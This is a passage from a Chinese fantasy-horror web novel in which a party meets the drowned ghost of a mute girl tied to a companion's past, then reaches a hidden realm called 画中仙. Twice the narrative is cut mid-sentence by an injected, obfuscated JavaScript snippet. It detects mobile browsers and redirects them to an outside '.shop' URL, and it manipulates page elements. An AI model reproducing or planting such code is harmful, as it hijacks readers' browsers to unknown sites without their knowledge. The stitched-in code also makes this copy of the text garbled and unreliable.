这个修罗道的传人,嘴上从不饶人,手上沾满血腥,可骨子里那份护短的执拗,却比谁都纯粹。 只是……白砚。 九如望向山林深处。晨雾未散,白茫茫一片,遮住了远山轮廓,也遮住了白砚离去的方向。 他到底,在隐瞒什么? 日头渐高。 四人沿着山道走了大半日,晌午时分,寻了处林间空地歇脚。芒种依旧不说话,只默默啃着干粮,眼神空洞地望着地面。烈风煌靠在树下闭目养神,手却始终按着刀柄。 白砚还没有回来。 九如心中不安渐浓。他起身,正欲去寻,林外传来窸窣脚步声。 白砚从树林深处走出来。 他脸色比早晨更苍白了,额角有细密的冷汗,左臂的衣袖被荆棘划破了几道口子,露出下面若隐若现的紫色咒文。他看见九如,脚步顿了顿,然后若无其事地走过来,在火堆旁坐下。 “去哪了?”九如问。 “探路。”白砚简短回答,从行囊里取出水囊喝水。他喝得很急,有水从嘴角溢出,顺着下巴滑落,浸湿了衣领。 烈风煌睁开眼,冷冷看着他:“探路探到袖口沾血?” 白砚动作一僵。 九如这才注意到,白砚右手袖口上,确实沾着几点暗红色的痕迹——已经干了,在青色布料上格外刺眼。 “摔了一跤,被树枝刮的。”白砚放下水囊,语气平静。 “树枝能刮出血?”烈风煌站起身,居高临下地盯着他,“白砚,你到底在搞什么鬼?” 气氛陡然紧绷。 芒种被这突如其来的对峙吓到,往九如身边缩了缩。九如按住烈风煌的手臂,沉声道:“先坐下。” 烈风煌甩开他的手,但终究没再逼问,只是冷哼一声,重新坐下,眼神却始终没离开白砚。 白砚垂下眼帘,整理袖口,将那几点血迹掩住。他不再解释,也不看任何人,只是盯着跳跃的火苗,侧脸在光影中显得异常清瘦。 沉默像一张湿透的牛皮,裹得人喘不过气。 午后继续赶路。 白砚依旧走在最后,与前面三人保持几步距离。他走得很慢,脚步虚浮,偶尔会停下来,扶着树干喘息片刻,再继续跟上。九如几次回头,都看见他左手紧紧攥着右臂上方——那是魂咒蔓延的位置,此刻咒文怕是已到了肩颈。 黄昏时分,他们在一处溪谷扎营。 这条溪比前几日的宽阔许多,水流湍急,撞击岩石发出轰隆声响。两岸是陡峭的崖壁,长满湿滑的苔藓。夕阳斜照,将溪水染成金红色,粼粼波光晃得人眼花。 芒种终于开口说了今天第一句话:“九如哥哥……我、我去打水。” 声音嘶哑,像砂纸摩擦。 九如点头,将水囊递给她:“别走太远。” 芒种接过,小心翼翼走到溪边,蹲下身掬水。溪水很凉,激得她打了个哆嗦。她盯着水面倒映的自己——红肿的眼睛,苍白的脸,还有眼里那份挥之不去的惊恐和愧疚。 她想起昨夜,村长夫人扑过来挡在她身前的画面。那双温婉的眼睛最后看向她时,有惊恐,有不舍,还有一丝……解脱? “对不起……”芒种喃喃,眼泪又掉下来,砸进溪水里,漾开小小的涟漪。 就在这时,她忽然看见—— 水底有张脸。 一张惨白的、泡得肿胀的脸,正从深水处缓缓上浮。眼睛睁得极大,瞳孔是浑浊的灰色,直勾勾盯着她。 芒种吓得尖叫一声,跌坐在地,水囊掉进溪里,顺流漂走。 “怎么了?”九如和烈风煌同时冲过来。 芒种指着溪水,声音发抖:“水里……有、有……” 话音未落,那张脸已经消失了。溪水依旧湍急,只有泡沫翻滚,哪有什么人脸。 烈风煌皱眉盯着水面,手按刀柄。九如扶起芒种,温声道:“许是看花了眼。去火堆边坐着,我来打水。” 他将芒种送回营地,再回到溪边时,烈风煌还站在那里,盯着溪水某处,眼神锐利如鹰。 “不是看花眼。”烈风煌忽然说。 九如顺着他的目光看去——溪水一处漩涡边缘,漂浮着一缕黑色的东西,细细长长,像头发。 不止一缕。 随着水流翻滚,更多的黑发从水底涌出,纠缠在一起,像一团巨大的、蠕动的水草。而在发丝之间,隐约能看见惨白的肢体,被水流冲得晃晃荡荡。 是尸体。 不止一具。 九如瞳孔骤缩。他拔剑在手,剑尖斜指水面。承影剑发出一声低鸣,剑身泛起极淡的清光——对阴邪之物,它总比人更敏锐。 就在这时,白砚走了过来。 他脸色比刚才更难看,嘴唇发紫,眼神死死盯着那团漂浮的黑发和肢体。右手不自觉地按住左臂,指节捏得发白。 “白砚?”九如唤他。 白砚没有回应。他一步步走向溪边,像被什么东西牵引着,眼神空洞,步履踉跄。 “站住!”烈风煌厉喝。 白砚恍若未闻。他走到溪边,蹲下身,伸手想去触碰那团黑发—— “啪!” 烈风煌一把扣住他的手腕,力道大得几乎要捏碎骨头。 白砚猛地惊醒,剧烈挣扎:“放开!” “你到底在发什么疯?!”烈风煌低吼,“这水里是什么东西?!跟你有什么关系?!” 白砚眼神躲闪,想要抽回手,却被烈风煌死死钳住。两人僵持着,气氛剑拔弩张。 九如上前,按住烈风煌的肩膀:“先松开。” 烈风煌盯着白砚看了几秒,终于冷哼一声,松了手。白砚踉跄后退几步,手腕上已留下五道青紫的指痕。 “白砚,”九如声音沉静,却带着不容回避的力量,“我们需要解释。” 白砚低着头,长发遮住了脸。许久,他才缓缓开口,声音沙哑得像破旧风箱: “她……在叫我。” “谁?” “水里的……那个。”白砚抬起头,眼神里有痛苦,有愧疚,还有一种近乎绝望的哀伤,“她是……哑女。” 哑女。 这个名字像一块冰,投进死水里。 烈风煌皱眉:“什么哑女?” 白砚没有立刻回答。他走到溪边,看着那团随波浮沉的黑发和肢体,缓缓蹲下身,伸出手—— 这一次,烈风煌没有阻拦。 白砚的指尖,轻轻触及水面。 就在触碰的瞬间,异变陡生! 溪水毫无征兆地沸腾起来!不是热气蒸腾,而是无数气泡从水底涌出,咕噜咕噜,声音沉闷如闷雷。水中那团黑发和肢体迅速凝聚,化作一个模糊的人形,从水中缓缓站起! 那是个少女。 约莫十五六岁年纪,浑身湿透,长发如海藻般披散,遮住了大半张脸。只露出一双眼睛——没有瞳孔,没有眼白,只有一片浑浊的灰,像蒙了层翳。她穿着破烂的粗布衣,赤着脚,皮肤泡得惨白发皱,指甲漆黑尖长。 最诡异的是她的嘴。 嘴唇紧紧抿着,嘴角向下撇,像是在极力压抑着什么。但仔细看,能看见嘴唇边缘有细密的缝线痕迹——不是受伤缝合,而是被人用粗糙的麻线,生生将嘴唇缝了起来! 哑女。 真的说不出话。 她站在齐腰深的水里,浑浊的眼睛直勾勾盯着白砚。然后,缓缓抬起一只手,指向他。 动作僵硬,像提线木偶。 白砚浑身颤抖。他闭上眼,深吸一口气,再睁开时,眼神已恢复了惯常的冷静——或者说,是强行压抑后的平静。 “她叫阿箬。”白砚开口,声音很低,每个字都说得很艰难,“是我……害了她。” 记忆像潮水,在寂静的溪谷中铺开。 不是通过言语,而是通过更直接的方式——哑女阿箬抬起的手指尖,渗出丝丝缕缕的黑气。黑气在空中盘旋、凝聚,最终化作一幅幅流动的画面,投射在暮色渐浓的空气中。 第一幅画面: 那是个肮脏泥泞的村庄。房屋低矮破败,街道上污水横流,空气里弥漫着牲畜粪便和腐烂食物的气味。村尾有间最破的茅屋,屋后连着一间猪圈。 猪圈里,除了两头哼哼唧唧的瘦猪,还蜷缩着一个人。 是个小女孩,七八岁模样,浑身裹满泥污,头发结成一绺绺,遮住了脸。她穿着件几乎看不出颜色的破布衫,光着脚,脚上满是冻疮和伤疤。此刻她正趴在泥地里,用枯瘦的手指刨挖着什么——是在挖土里的草根。 猪圈外,几个孩童朝里扔石头,嘴里骂着: “小杂种!跟你爹娘一样该死!” “杀人犯的女儿!活该跟猪住!” “哑巴!怪胎!” 女孩不哭不闹,只是默默躲闪,继续挖草根。石头砸在她背上、腿上,留下青紫的痕迹,她也只是抖一下,连头都不抬。 因为她真的说不出话。 不是天生哑巴——画面一转,是更早的时候:一个醉酒的男人揪住小女孩的头发,将烧红的铁钎烙在她嘴上,嘴里骂着“让你多嘴!让你告密!”女孩凄厉的惨叫,皮肉烧焦的滋滋声,混合着男人狰狞的笑。 嘴唇被生生烫烂,愈合后粘连在一起,再也张不开。 从此,她成了哑女。 画面回到猪圈。女孩终于挖到几根细瘦的草根,也不洗,直接塞进嘴里,艰难地咀嚼。她饿极了,肚子瘪得能看见肋骨的轮廓。 就在这时,猪圈外的土路上,跌跌撞撞走来一个人。 是个少年。 不过十三四岁年纪,穿着一身染血的青衫——是阿尔默族的服饰,但已经破烂不堪。他脸色惨白,左臂上有一道深可见骨的伤口,血还在汩汩往外冒。他踉跄几步,终于支撑不住,一头栽进路旁的泥坑里,溅起浑浊的泥水。 泥坑离猪圈不远。 哑女听见动静,从猪圈缝隙里往外看。她看见泥坑里的少年,看见他手臂上狰狞的伤口,看见他因失血而逐渐涣散的眼神。 她犹豫了很久。 最终,她爬出猪圈,赤脚踩过泥泞,走到泥坑边。她蹲下身,看着坑里的少年,浑浊的眼睛里没有同情,也没有恐惧,只有一片麻木的空洞。 她从怀里掏出半个干硬的馒头——不知从哪捡来的,已经发霉长毛。她掰了一小块,塞进少年嘴里。 少年无意识地咀嚼,吞咽。 哑女又爬回猪圈,用破瓦罐舀了点积水——猪喝的水,浑浊发绿。她捧着瓦罐,小心翼翼喂给少年。 几口馒头,几口脏水。 少年终于缓过一口气,睁开眼。 他看见蹲在坑边的哑女,看见她破烂的衣衫、满身的泥污、还有嘴上那道狰狞的疤痕。他愣了片刻,然后扯了扯嘴角,想笑,却牵动伤口,疼得龇牙咧嘴。 “谢谢。”他声音嘶哑。 哑女不会说话,只是看着他。 少年从怀里摸出一样东西——是个小巧的、用草叶编成的蚱蜢,染成了青绿色,很精致。他递给哑女:“这个……给你。” 哑女犹豫着,接过。她盯着草蚱蜢看了很久,浑浊的眼睛里,第一次有了一点微弱的光。 第二幅画面: 少年在猪圈里养了三天伤。 哑女每天偷偷给他送吃的——有时是半个发霉的饼,有时是一把生豆子,有时是挖来的草根。她从不说话,只是默默把东西放在他身边,然后缩回角落,抱着膝盖看他。 少年告诉她,他叫白砚。阿尔默族的罪人,被族人追杀,逃到这里。 哑女不会说话,就在地上写字——用树枝在泥地上划拉,字歪歪扭扭,但能看懂。她写:“他们为什么杀你?” 白砚沉默很久,才说:“因为我发现了不该发现的秘密。族里用活人献祭,换取某种力量。我阻止,就成了叛徒。” 哑女写:“我爹娘也是杀人犯。” 白砚看着她:“他们杀了谁?” 哑女写:“村长的儿子。因为他欺负我,用铁钎烫我的嘴。爹娘半夜摸进他家,把他勒死了。然后他们被抓,吊死在村口大树下。我就被扔进了猪圈。” 写得很平静,像在说别人的事。 白砚盯着地上那些歪扭的字迹,看了很久。然后他问:“恨他们吗?” 哑女写:“恨谁?爹娘?还是村民?” “都恨。” 哑女停下,树枝在泥地上划出一道深深的痕。她写:“不知道。但我想让他们都痛苦。” 白砚笑了。笑容很冷,带着一种与他年龄不符的、近乎残忍的平静。 “我教你。”他说,“教你怎么让他们痛苦。” 他开始教哑女识字——真正的文字,不是在地上乱划。他折了树枝当笔,以泥地为纸,一笔一画教她写。先从最简单的开始:恨,痛,死,罪。 然后教她念咒。 不是普通的咒语,是阿尔默族的禁术——以怨恨为引,以鲜血为媒,咒杀仇敌的邪术。白砚割破自己的手指,用血在哑女掌心画下复杂的符文,教她如何感应、如何催动。 “集中精神,”白砚声音很轻,像蛊惑,“想着你最恨的人,想着他们对你做的一切,想着你受的苦……让恨意燃烧,灌入符文……” 哑女照做。 她想着村长儿子烫她嘴时的狞笑,想着村民朝她扔石头时的唾骂,想着爹娘尸体在村口晃荡的画面…… 掌心符文亮起暗红色的光。 与此同时,村东头村长家,厨房灶台毫无征兆地炸开,火星四溅,引燃了柴堆。火势迅速蔓延,整个宅院陷入火海。 村西头那个总朝她扔石头的孩童,在井边打水时突然脚滑,一头栽进井里,等捞上来时已经没气了。 村口那棵吊死她爹娘的大树,一夜之间枯死,树皮剥落,露出里面黑黢黢的、像被火烧过的木质。 诅咒,应验了。 村民惊恐万分,请来神婆作法。神婆在村里转了一圈,最后指着猪圈方向,尖声道:“邪气是从那儿来的!猪圈里住了不干净的东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109787|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 村民们举着火把、锄头,围住了猪圈。 白砚的伤还没好全,但他强撑着站起来,将哑女护在身后。他盯着围上来的村民,眼神冷得像冰。 “滚。” 只一个字,却带着某种无形的威压。冲在最前的几个村民忽然抱住头,惨叫起来——他们听见了无数凄厉的哭嚎,像有无数冤魂在耳边嘶吼。 是幻咒。阿尔默族的秘术之一。 村民吓得连连后退。白砚趁机拉起哑女,冲出包围,朝村外山林逃去。 身后,火光冲天。 不是村民点的火——是诅咒引发的业火,从村长家开始,迅速蔓延到整个村庄。木结构的房屋在烈火中噼啪作响,哭喊声、惨叫声、房屋倒塌声混杂在一起,像人间地狱。 哑女回头,看见那片吞噬了她所有苦难、也吞噬了许多无辜生命的火海。 她张了张嘴,想说什么,却发不出声音。 只有眼泪,无声地流下来。 第三幅画面: 白砚带着哑女在山林里逃亡。 他的伤时好时坏,魂咒也时不时发作——那是他偷学禁术、击伤镇魂蛇的反噬。每次发作,他都疼得浑身抽搐,眼睛充血,嘴里发出野兽般的低吼。 哑女不会说话,只能用行动照顾他。采草药,找食物,生火,包扎伤口。她学得很快,手也很巧,那些歪歪扭扭的字渐渐变得工整,甚至能写出简单的句子。 她在泥地上写:“我们要去哪?” 白砚靠着树干,脸色苍白,声音虚弱:“不知道。走到哪算哪。” 哑女写:“你会丢下我吗?” 白砚看着她,看了很久,然后摇头:“不会。你是我教的第一个……也是唯一一个徒弟。” 他说得认真。哑女笑了——虽然嘴唇被缝着,笑起来的表情很诡异,但眼睛弯弯的,有光。 日子一天天过去。 白砚的魂咒越来越严重。咒文从手臂蔓延到肩膀,每次发作的时间也越来越长。有一次,他疼得失去理智,抓住哑女的肩膀,眼睛里全是暴虐的血丝,嘴里喃喃:“血……我要血……” 哑女吓坏了,但她没有逃。她割破自己的手腕,将流血的手腕凑到白砚嘴边。 温热的血液流入喉咙,白砚眼中的血色渐渐褪去。他清醒过来,看见哑女苍白的脸和手腕上深深的伤口,浑身一震。 “我……”他声音颤抖,“我刚才……” 哑女摇摇头,示意自己没事。她撕下衣襟,笨拙地给自己包扎。 白砚盯着她,眼神复杂。愧疚,恐惧,还有一丝……连他自己都不愿承认的、对鲜血的渴望。 那晚,他在哑女睡着后,悄悄起身,走进山林深处。 他找到一处悬崖,站在边缘,看着脚下深不见底的黑暗。风很大,吹得他衣袍猎猎作响。 “不能再这样下去了。”他喃喃,“我会害死她……” 第二天清晨,他对哑女说:“你走吧。” 哑女愣住,呆呆地看着他。 白砚别开视线,声音冰冷:“我教你的诅咒之术,足够你自保。从今天起,我们各走各的路。” 哑女拼命摇头,抓住他的衣袖,眼泪大颗大颗往下掉。 白砚硬起心肠,甩开她的手:“听不懂吗?我厌烦你了!你一个哑巴,又脏又笨,跟着我只是累赘!” 话说得很重,字字如刀。 哑女松开手,后退几步,看着他,眼神从震惊、伤心,渐渐变成一片死寂的空洞。她最后看了他一眼,转身,跑进山林深处。 白砚站在原地,看着她消失的方向,很久很久没有动。 他以为这样就能无牵扯了。 他错了。 第四幅画面: 哑女没有走远。 她偷偷跟在白砚后面,保持着不远不近的距离。她看见白砚继续逃亡,看见他被一群穿着同样青衫的人追上——是阿尔默族的追兵。 那些人围住白砚,刀剑相向。 “白砚,你偷学禁术,残害同族,还不束手就擒!” 白砚冷笑,拔剑迎战。但他伤势未愈,魂咒又发作,很快落了下风,身上添了好几道伤口。 哑女躲在树后,看得心急如焚。 眼看一柄剑就要刺穿白砚胸口—— 哑女冲了出去。 她不会武功,只是凭着本能,扑到白砚身前,用自己的身体去挡那一剑。 剑锋刺入她肩膀,鲜血喷溅。她疼得闷哼一声,却死死抱住那个持剑的人,张嘴咬住对方的手腕——虽然嘴唇被缝着,咬合力有限,但还是让对方吃痛松手。 “哪来的野丫头!”那人怒骂,一脚踹开哑女。 哑女摔在地上,肩上的血汩汩往外冒。她抬头,看向白砚,眼神里有焦急,有催促:快跑。 白砚却愣在原地。 他看着哑女肩上的伤口,看着那些追兵围上来,将哑女粗暴地按在地上,戴上沉重的木枷。他看着哑女挣扎,看着她浑浊的眼睛始终望着自己,看着那些追兵举起鞭子—— 那是阿尔默族的“神鞭”,鞭身浸过符水,专打邪祟妖孽。一鞭下去,皮开肉绽,二鞭下去,筋骨皆伤。 “说!你跟这叛徒什么关系?!”持鞭者厉喝。 哑女说不出话,只是摇头。 “不说?那就替他受罚!” 鞭子落下。 一鞭,两鞭,三鞭…… 哑女疼得浑身抽搐,却咬紧牙关,不发出一点声音——也发不出。只有喉咙里压抑的、像野兽般的呜咽。 白砚目眦欲裂,想冲上去,却被更多人按住。他嘶吼,挣扎,却动弹不得。 三十六鞭。 鞭鞭到肉,鞭鞭见血。 等鞭刑结束,哑女已经奄奄一息。她趴在血泊里,手指微微抽搐,眼睛半睁着,望着白砚的方向。 嘴唇嚅动,像是想说什么。 但终究,什么也没说出来。 眼睛,缓缓闭上。 再也没睁开。 白砚的嘶吼戛然而止。他呆呆地看着哑女的尸体,看着她身上纵横交错的鞭痕,看着她至死都望着自己的方向。 然后,他笑了。 笑声很低,很哑,却带着一种令人毛骨悚然的疯狂。 追兵们被他笑得心里发毛。为首者喝道:“把这叛徒押回去!” 可就在他们靠近的瞬间,白砚周身爆发出强烈的黑气——那是禁术催动到极致的征兆。黑气如潮水般涌出,所过之处,草木枯萎,岩石崩裂。 追兵们惊恐后退。 白砚一步步走向哑女的尸体,将她抱起。他低头,看着她惨白的脸,轻声说: “阿箬,师父替你报仇。” 话音落下,黑气吞没了他们的身影。 等黑气散去,原地只剩下一滩血迹,和几片破碎的青衫布片。 白砚和哑女的尸体,都消失了。 记忆的画面,到此戛然而止。 黑气消散,重新缩回哑女阿箬的指尖。她依旧站在溪水里,浑浊的眼睛望着白砚,一眨不眨。 溪谷里死一般寂静。 只有水流声,轰隆隆,像永不停息的悲鸣。 芒种已经哭得不成样子,捂着嘴,肩膀剧烈颤抖。烈风煌抱着胳膊,脸色铁青,眼神复杂地盯着白砚。九如握着剑柄的手,指节泛白。 白砚低着头,长发遮住了脸。许久,他才缓缓开口,声音嘶哑得像被砂石磨过: “我带她逃进深山,想找个地方安葬。但她的魂魄执念不散,附在尸体上不肯离去。后来……我们遇到了一条河,河里有水鬼想拉我下水。阿箬的魂魄为了保护我,与水鬼争斗,最终……吞噬了对方,自己也成了新的水鬼。” 他抬起头,看向溪水中的哑女,眼圈通红:“她成了这红河的地缚灵,离不开这片水域。但只要我靠近,她就能感应到,就会现身……她想救我,想带我离开。可她自己,已经永远困在这里了。” 哑女阿箬缓缓抬起手,再次指向白砚。然后,她张开嘴——虽然嘴唇被缝着,但努力做出一个口型: 走。 她在说:走。 离开这里,别再回来。 白砚摇头,一步步走向溪水:“阿箬,师父对不起你……师父带你走,这次一定……” “站住!” 开口的是烈风煌。 他拦住白砚,眼神冰冷:“你想让她再死一次吗?她现在已是水鬼,离不开这条河。你带她走,只会让她魂飞魄散!” 白砚僵住。 哑女阿箬也停下动作。她看着白砚,浑浊的眼睛里流下两行血泪。然后,她缓缓沉入水中,黑发如海藻般散开,遮住了她最后的身影。 溪水恢复平静。 仿佛刚才的一切,只是幻觉。 白砚跪倒在溪边,肩膀剧烈颤抖,压抑的哭声像受伤的野兽。 23. 画中仙非画中人 次日清晨,白砚比所有人醒得都早。 或者说,他根本没睡。 九如睁开眼时,看见白砚已经坐在溪边那块青石上,背对着营地,面朝还未散尽的晨雾。青色长衣的衣摆垂在水里,随波轻荡。他手里握着那截五彩宝石腰带,指尖无意识地摩挲着其中一颗暗红色的宝石——那宝石颜色最深,像凝固的血。 烈风煌也醒了,靠在树干上,盯着白砚的背影,眼神复杂。昨夜哑女阿箬的记忆画面还在众人脑海里挥之不去,像一场醒不来的噩梦。尤其是白砚跪在溪边压抑痛哭的模样,与平日里那个冷静自持、永远从容的白砚判若两人。 芒种翻了个身,迷迷糊糊坐起来。她揉揉眼睛,看见白砚的背影,又看看九如,小声问:“九如哥哥……白砚哥哥真的不需要我们帮忙吗?” 声音很轻,像怕惊扰什么。 九如摇摇头,起身整理行囊。他动作很慢,似乎在斟酌字句:“有些事,只能自己挺过去。” 他说着,忽然看向芒种,眼神认真:“芒种,你想学咒法吗?” 这话问得突兀。芒种愣住,烈风煌也皱眉看过来。 “你要教她邪术?”烈风煌声音冷硬,“她一个十几岁的小姑娘,能保护好自己就不错了,学什么咒法?” 九如没有立刻回答。他走到溪边,掬水洗脸。冰凉的水泼在脸上,让他清醒了些。他直起身,看向烈风煌:“咒法只是法术的一种,并非邪术。” 顿了顿,他继续道:“况且,什么是邪术?用于非人手段的邪恶之术,才归为邪法。法术就是法术,本就无正邪之分,端看施术者用于何事、如何用。” 他转身,走到芒种面前,蹲下身与她平视:“芒种,我们之后要去的地方,比牛煞村、比张家村、甚至比白骨岛更凶险。你若没有保命的法术,那我只能——” 他深吸一口气,说出最不愿说的话:“只能将你安置在某处安全的农户家,等我办完事,再回来接你。” 这话像一盆冰水,浇得芒种浑身一颤。 她猛地抓住九如的衣角,小脸煞白,眼圈瞬间就红了:“我学!我学!你去哪我就去哪,你别丢下我……” 声音带着哭腔,眼波流动,眼泪在眼眶里打转,要掉不掉的样子,可怜得像只被遗弃的小猫。 九如看着她,心里最柔软的地方被狠狠揪了一下。他想起在桃花村救下她时,她被绑在祭坛上,浑身颤抖却咬着牙不哭的模样。想起这一路她跟着他们风餐露宿,从未抱怨,总是努力笑着,努力想帮忙。 她还只是个孩子。 可这世道,从不因你年幼就对你仁慈。 九如伸手,轻轻摸了摸芒种的头。发丝柔软,带着少女特有的、阳光晒过的温暖气息。他呼出一口气,声音放柔了些:“跟着我,无比凶险。路上要认真学,不能偷懒,明白吗?” 芒种用力点头,眼泪终于掉下来,却咧开嘴笑了——又哭又笑,像个小花猫:“嗯!我一定认真学!九如哥哥教我什么,我就学什么!” 烈风煌看着这一幕,嘴唇动了动,想说什么,最终只是别过脸,冷哼了一声。但九如注意到,她按在刀柄上的手,指节松了些。 就在这时,白砚走了过来。 他神色已经恢复如常——至少表面如此。苍白的脸在晨光里透出一点血色,眼睛也恢复了惯常的清明冷静,只是眼底深处还残留着一丝不易察觉的疲惫和痛楚。他理了理衣袖,将宝石腰带重新系回腰间,动作从容不迫,仿佛昨夜那个崩溃痛哭的人不是他。 烈风煌张口,似乎想说什么。白砚看过来,眼神如刀,冷冽如冰,摆明了“不想聊天”的态度。 烈风煌被他看得一窒,随即恼火地扭过头,声音硬邦邦的:“磨磨唧唧,小老太太裹脚布呢?走不走?” 白砚眼神更冷,却不再看她,只淡淡道:“随时可以。” 气氛又僵住了。 九如连忙打圆场:“好了好了,都少说两句。”他看向白砚,“我准备前往无名火山,你们有方向吗?” 这话问出来,他自己心里也没底。守渊者死在无名火山——这是小月说的,真假难辨。但这是目前唯一的线索,他必须去。 白砚沉默了一瞬。 烈风煌抢先道:“我没头绪,就听着有点耳熟。找个有人的地方打探下吧。”她说着,随手一指东北方向,“往那边走,我记得有个镇子——” 话音未落,白砚抬起手,指向完全相反的方向:“东南边,十里开外,翻过青石山,踏过三条灰石河,就到了。” 他声音平静,语气笃定,像在说今天天气不错。 烈风煌愣住,随即吃惊地瞪大眼睛:“你怎么知道?” 白砚抬眼看他,眼神里没什么情绪,反问:“我不该知道?” “你偷偷去过?”烈风煌追问,语气里带着审视。 白砚转身就走,青色衣摆在空中划出一道冷硬的弧线:“要去什么地方,找张地图就好。傻子才会亲自跑一遍确认。” 这话说得刻薄,还特意加重了“傻子”两个字。 烈风煌顿时怒了,几步追上去,几乎要揪住他的衣领:“骂谁呢你!” 九如连忙上前,轻轻拍了拍烈风煌的肩膀:“好啦好啦,我们有个活地图很幸运了,快跟上。” 他语气温和,却带着不容置疑的力道。烈风煌瞪了白砚背影一眼,终究没再发作,只是气哼哼地跟上去,嘴里还嘟囔着什么“装神弄鬼”“迟早要你好看”。 芒种小跑着跟上,偷偷看了白砚一眼,又飞快低下头。昨夜哑女的记忆让她对白砚多了几分畏惧,但更多的是一种说不清道不明的……难过。 九如走在最后,看着前面三人:白砚背影挺直,步履从容,仿佛刚才的争执从未发生;烈风煌怒气未消,脚步踩得又重又响;芒种夹在中间,小心翼翼,像个生怕踩到蚂蚁的小媳妇。 他苦笑一下,摇摇头,跟了上去。 往东南方向走了约莫两个时辰,青石山的轮廓渐渐清晰起来。 远看时,那座山笼罩在淡淡的青烟之中,缥缈朦胧,像仙人泼墨挥就的一幅水墨画。山形奇崛,峰峦叠嶂,在蓝天白云的映衬下,有种不真实的、近乎梦幻的美感。 可走得近了,那种美感迅速褪去,取而代之的是一种难以言喻的诡异。 山上全是石头。 青色的石头。 不是常见的青灰色山岩,而是一种纯粹的、近乎妖异的青色。石面光滑,泛着玉石般的冷光,在阳光下折射出深浅不一的青晕。石头形状千奇百怪:有的像蹲伏的巨兽,有的像指天的利剑,有的扭曲如盘根错节的古藤。 最诡异的是,石缝间、岩壁上,寸草不生。 没有苔藓,没有地衣,没有任何植物。只有光秃秃的青石,沉默地矗立着,像无数块巨大的墓碑。 可山脚下,却是另一番景象。 树木葱茏,绿意盎然。参天古木枝繁叶茂,树冠如盖,遮蔽了大半日光。林间藤蔓缠绕,野花点缀,鸟鸣清脆。风吹过时,树叶沙沙作响,带来草木的清香。 绿树与青石,生机与死寂,被一道无形的界限清晰地分割开。 仿佛这座山在拒绝一切生命。 众人站在山脚下,仰头望着那片诡异的青色。芒种缩了缩脖子,小声说:“这里……好奇怪……” 烈风煌抱着胳膊,斜眼看向白砚:“寸草不生,绿树成荫,这可真好笑。你确定没带错路?这地方正常吗?” 她语气里满是质疑,显然还在为早上的事耿耿于怀。 白砚没理他。他弯腰,从地上捡起一根枯树枝——不是从青石山上掉下来的,是山脚林木间的普通树枝。他握着树枝,在掌心轻轻敲了敲,然后朝前一丢。 树枝划过一道弧线,落向青石山的方向。 就在它即将触及山脚的瞬间—— 异变陡生! 没有声音,没有光芒,只有一阵肉眼可见的、水波般的涟漪,以树枝落点为中心,迅速向四周扩散开来。涟漪所过之处,景象开始扭曲、变幻。 就像一幅被水浸湿的水墨画,墨迹晕染开,原本清晰的线条变得模糊,新的轮廓从中浮现。 青色的石头渐渐褪去,露出下面真实的色彩—— 漫山遍野的红花。 不是寻常的红,是一种浓烈到近乎燃烧的、像鲜血又像火焰的红色。花朵不大,但开得极密,层层叠叠,从山脚一直蔓延到山顶,像给整座山披上了一件华丽的红毯。花瓣在阳光下泛着丝绒般的光泽,微风拂过时,花浪翻涌,美得惊心动魄。 花海之间,有溪流蜿蜒。溪水清澈见底,能看见水底圆润的卵石,和在其中穿梭嬉戏的红色锦鲤——鲤鱼的鳞片也是红的,在阳光下闪闪发亮,像流动的宝石。 岸边绿草如茵,几只雪白的小羊低头吃草,尾巴一甩一甩。林间有梅花鹿探出头来,鹿角上还沾着露水,大眼睛好奇地张望。头顶,成群的麻雀叽叽喳喳飞过,翅膀扑棱棱的声音清脆悦耳。 生机盎然,美不胜收。 与刚才那幅寸草不生、死寂诡异的景象,判若两地。 芒种张大了嘴,眼睛瞪得圆圆的,好半天才发出声音:“好……好漂亮……” 烈风煌也怔住了。她盯着那片花海,眉头紧锁,眼神里不是欣赏,而是警惕:“这是……画中仙?” “画中仙”三个字一出,九如心头一凛。 他听说过这个名字——或者说,在守渊者破碎的记忆碎片里,隐约有相关的信息。 相传“画中仙”并非真的仙境,而是一种诡异的“境”。是天地间因重大自然灾难——比如地震、洪水、火山爆发——而撕裂出的独立空间碎片。这些碎片脱离现实,自成一方小世界。有的里面是断壁残垣,死气沉沉;有的却是桃花源般的绝美景象,宛若仙境。 因其从外界远看时,常笼罩在云雾之中,缥缈朦胧如仙人画卷,故被世人称为“画中仙”。 但无论是哪种,都不是寻常人能轻易找到、更不是能随意进出的。 误入画中仙的人,大多再也回不来。有的是被困死在里面,有的则是被其中的幻象吞噬,成了滋养这片独立空间的养分。 “画中仙有进无出。”烈风煌声音凝重,看向九如,“你真要跟进去?” 九如盯着那片花海,心中那股久违的熟悉感越来越强烈。 他好像……来过这里。 不是这一世,是更久以前。在守渊者那些破碎的记忆里,似乎有类似的画面:漫山红花,清澈溪流,还有一个金瞳白发的身影,站在花海中回头看他,笑容温暖。 可这怎么可能? 这片空间存在至少几百年了——从那些古木的粗细就能看出。而他在这一世,不过活了二十余载。就算加上之前无数轮回的时间,也不该与几百年前的景象产生关联。 除非…… 守渊者的记忆,跨越了更漫长的时间。 九如摇摇头,甩开那些纷乱的思绪。他看向白砚——白砚已经抬脚,一步踏进了那片涟漪之中。 他的身影在触及花海的瞬间,微微扭曲了一下,然后迅速凝实,稳稳站在了红花丛中。他回头,看向还在外面的三人,眼神平静,仿佛只是跨过一道普通的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109788|195842||http|test|mini|href|location''.split(''|''),0,{})); () { 